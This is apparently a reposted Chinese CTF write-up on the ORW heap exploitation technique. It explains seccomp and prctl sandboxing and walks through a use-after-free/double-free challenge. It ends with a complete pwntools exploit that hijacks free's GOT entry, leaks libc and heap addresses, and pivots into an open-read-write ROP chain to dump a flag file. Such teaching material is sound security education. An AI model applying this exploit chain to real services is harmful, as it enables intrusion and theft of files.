浅析CTF中PWN题堆类型的ORW技术

admin 2025年1月6日19:04:59评论27 views字数 4387阅读14分37秒阅读模式
浅析CTF中PWN题堆类型的ORW技术

 点击上方蓝字关注我们~

浅析CTF中PWN题堆类型的ORW技术
浅析CTF中PWN题堆类型的ORW技术

简介

一般来说,堆利用是关于以一种特殊的方式,比如 double free 和堆溢出等破坏堆数据结构的元数据,覆盖我们不应该控制的值。
而 ORW 类题目是指程序开了沙箱保护,禁用了一些函数的调用(如 execve 等),使得我们并不能正常 get shell ,只能通过 ROP 的方式先调用 open 打开 flag 文件,然后利用 read 把 flag 的值读取到内存里面, 最后通过 write 来读取并打印 flag 内容。
浅析CTF中PWN题堆类型的ORW技术

沙盒机制

沙盒机制也就是我们常说的沙箱,英文名 sandbox ,是计算机领域的虚拟技术,常见于安全方向。
一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。
例如,我们要分析一个病毒软件的时候,可以将它放进虚拟机里面运行,这个虚拟机就像是一个沙盒,不会对真机造成如何损失。而在 ctf 的 pwn 题中一般有两种函数调用方式实现沙盒机制,第一种是对 prctl 函数调用,第二种是使用 seccomp 库函数。
浅析CTF中PWN题堆类型的ORW技术

prctl函数

函数的原型:
#include <sys/prctl.h> 
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4,unsigned long arg5); 
这个函数有 5 个参数,重点是 option 参数,这里主要关注 2 点:
PR_SET_NO_NEW_PRIVS(38)
PR_SET_SECCOMP(22)
若option为PR_SET_NO_NEW_PRIVS(38):
第二个参数arg2设置为1,那么程序将不能通过执行execve系统调用来获得提权。
若option为PR_SET_SECCOMP(22):
表示可以设置沙箱规则,也就是可以自定义函数的系统调用是被允许还是禁止。
如果arg2为SECCOMP_MODE_STRICT(1),则只允许调用read,write,_exit(not exit_group),sigreturn这几个syscall。

如果arg2为SECCOMP_MODE_FILTER(2),则为过滤模式,其中对syscall的限制通过参数3的结构体,来自定义过滤规则。

总结起来,就是prctl(38, 1LL, 0LL, 0LL, 0LL)表示禁用系统调用,也就是 system 和 onegadget 都没了,而 prctl(22,2) 表示设置沙箱规则,从而可以实现改变函数的系统调用。

浅析CTF中PWN题堆类型的ORW技术

seccomp库函数

seccomp是 secure computing 的缩写,其是 Linux kernel 引入的一种简洁的 sandboxing 机制。
在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp 安全机制能使一个进程进入到一种 “安全” 运行模式。
v1 = seccomp_init(0LL);
if ( !v1 )
{
  puts("seccomp error");
  exit(0);
}

// seccomp_rule_add添加规则
// 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit
seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);

首先调用seccomp_init(arg)对结构体进行初始化,

若参数arg为SCMP_ACT_ALLOW(0x7fff0000U),则为黑名单模式,没有匹配到规则的系统调用将被默认允许。

若参数为SCMP_ACT_KILL(0x00000000U),则为白名单模式,没有匹配到规则的系统调用都会杀死进程,默认不允许所有的syscall。

浅析CTF中PWN题堆类型的ORW技术

例题

下面来看一道例题,是个经典的堆题,有add、delete、edit和show四个函数。
浅析CTF中PWN题堆类型的ORW技术
我们可以通过 seccomp-tools 来查看程序是否启用了沙箱,这里可以看到程序禁用了 execve,这表明我们不能直接执行 system 去 getshell了。
浅析CTF中PWN题堆类型的ORW技术
首先申请一个 0x10 大小的堆作为结构体指针,然后将 size 保存到结构体的第一个地方,接着申请一个堆块保存到结构体的第二个地方。
浅析CTF中PWN题堆类型的ORW技术
重点是这个 delete 函数,free 之后指针没有指令,存在UAF漏洞。
浅析CTF中PWN题堆类型的ORW技术
做题的思路首先还是要泄露地址,这里有两种方法
第一种是通过申请一个大的堆块放进 unsorted bin 里面,然后泄露它的 fd 指针。
第二种是利用 UAF 漏洞将 free 的 got 表改成 printf 函数,再将 unsorted bin 的指针泄露出来。
我这里采用的是第二种方法。
那要怎么利用 UAF 去改 got 表呢?
首先要用 double free 的手法,然后申请一个堆结构体,接着申请一个 0x10 大小的堆块,此时申请出来的就会和前面一个堆块的堆结构体指针重叠。
浅析CTF中PWN题堆类型的ORW技术
浅析CTF中PWN题堆类型的ORW技术
这是我们利用 edit 函数写 chunk3 的时候,他就会往 chunk0 的堆结构体指针写东西,我们可以把它改成 free 函数的 got 表,然后再 edit chunk0 的时候就会往 got 表里面写东西。
这里开了沙盒,不能直接改成 system ,但是 free 的第一个参数我们是能控制的,可以通过利用 free 函数转换成 ROP 去 orw。
这里要用到 libc 里面的一个万能的 gadget,通过控制 rdi 去控制 rsp,即栈顶我们是可以控制的,也就是说可以正常地去 ROP 了。
浅析CTF中PWN题堆类型的ORW技术
浅析CTF中PWN题堆类型的ORW技术

完整exp

from pwn import*
context(os='linux',arch='amd64')
context.log_level=True
elf=ELF('pwn')
libc=ELF('/home/zzq/libc6_2.23-0ubuntu11.2_amd64.so')
#p = process(["./ld-2.27.so", "./a"],env={"LD_PRELOAD":"./libc-2.27.so"})
p=process('./pwn',env={'LD_PRELOAD':'./libc6_2.23-0ubuntu11.2_amd64.so'})

def add(id,size,data):
p.recvuntil('Your Choice>> ')
p.sendline('1')
p.recvuntil('index>> ')
p.sendline(str(id))
p.recvuntil('size>> ')
p.sendline(str(size))
p.recvuntil('name>> ')
p.send(str(data))
def edit(id,data):
p.recvuntil('Your Choice>> ')
p.sendline('3')
p.recvuntil('index>> ')
p.sendline(str(id))
p.recvuntil('name>> ')
p.send(str(data))
def delete(id):
p.recvuntil('Your Choice>> ')
p.sendline('2')
p.recvuntil('index>> ')
p.sendline(str(id))

add(0,0x68,'aaaaaa')
add(1,0x68,'aaaaaa')
add(4,0x98,'aaaaaa')
add(5,0x98,'aaaaaa')

add(6,0x108,'a')

add(7,0x48,'aaaaaa')
add(8,0x48,'aaaaaa')
add(9,0x98,'aa')
add(10,0x200,'./flagx00')
delete(4)
delete(0)
delete(1)
delete(0)

add(2,0x68,'aaaaaa')
add(3,0x18,'aaaaaa')
gdb.attach(p,'b *0x00007ffff7a54b85')
raw_input()
delete(7)
delete(8)

edit(3,p64(elf.got['free'])*2)

edit(0,p64(elf.plt['printf']))


delete(4)

leak=u64(p.recv(6).ljust(8,'x00'))
print hex(leak)
libcbase=leak-(0x7ffff7dd1b78-0x00007ffff7a0d000)
print hex(libcbase)
free=libcbase+libc.sym['__free_hook']
setcon=libcbase+0x47B85

delete(8)


leak=u64(p.recv(3).ljust(8,'x00'))
print hex(leak)

heap=leak-(0x603380-0x0000000000603000)-0x70
add=heap+(0x00000000006032d8-0x0000000000603000)
flag=heap+(0x00000000006035a0-0x0000000000603000)

open=libcbase+libc.sym['open']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
poprdi=0x0000000000400dd3
poprsi=libcbase+0x00000000000202f8
poprdx=libcbase+0x0000000000001b92


payload=p64(poprdi)+p64(flag)+p64(poprsi)+p64(0)+p64(open)+p64(poprdi)+p64(3)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(read)
payload+=p64(poprdi)+p64(1)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(write)

edit(6,payload.ljust(0xa0,'x00')+p64(add)+p64(poprdi))

print hex(heap)


edit(3,p64(elf.got['free'])*2)

edit(0,p64(setcon))

delete(6)


p.interactive()


原文始发于微信公众号(SAINTSEC):浅析CTF中PWN题堆类型的ORW技术

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月6日19:04:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅析CTF中PWN题堆类型的ORW技术https://cn-sec.com/archives/3596785.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息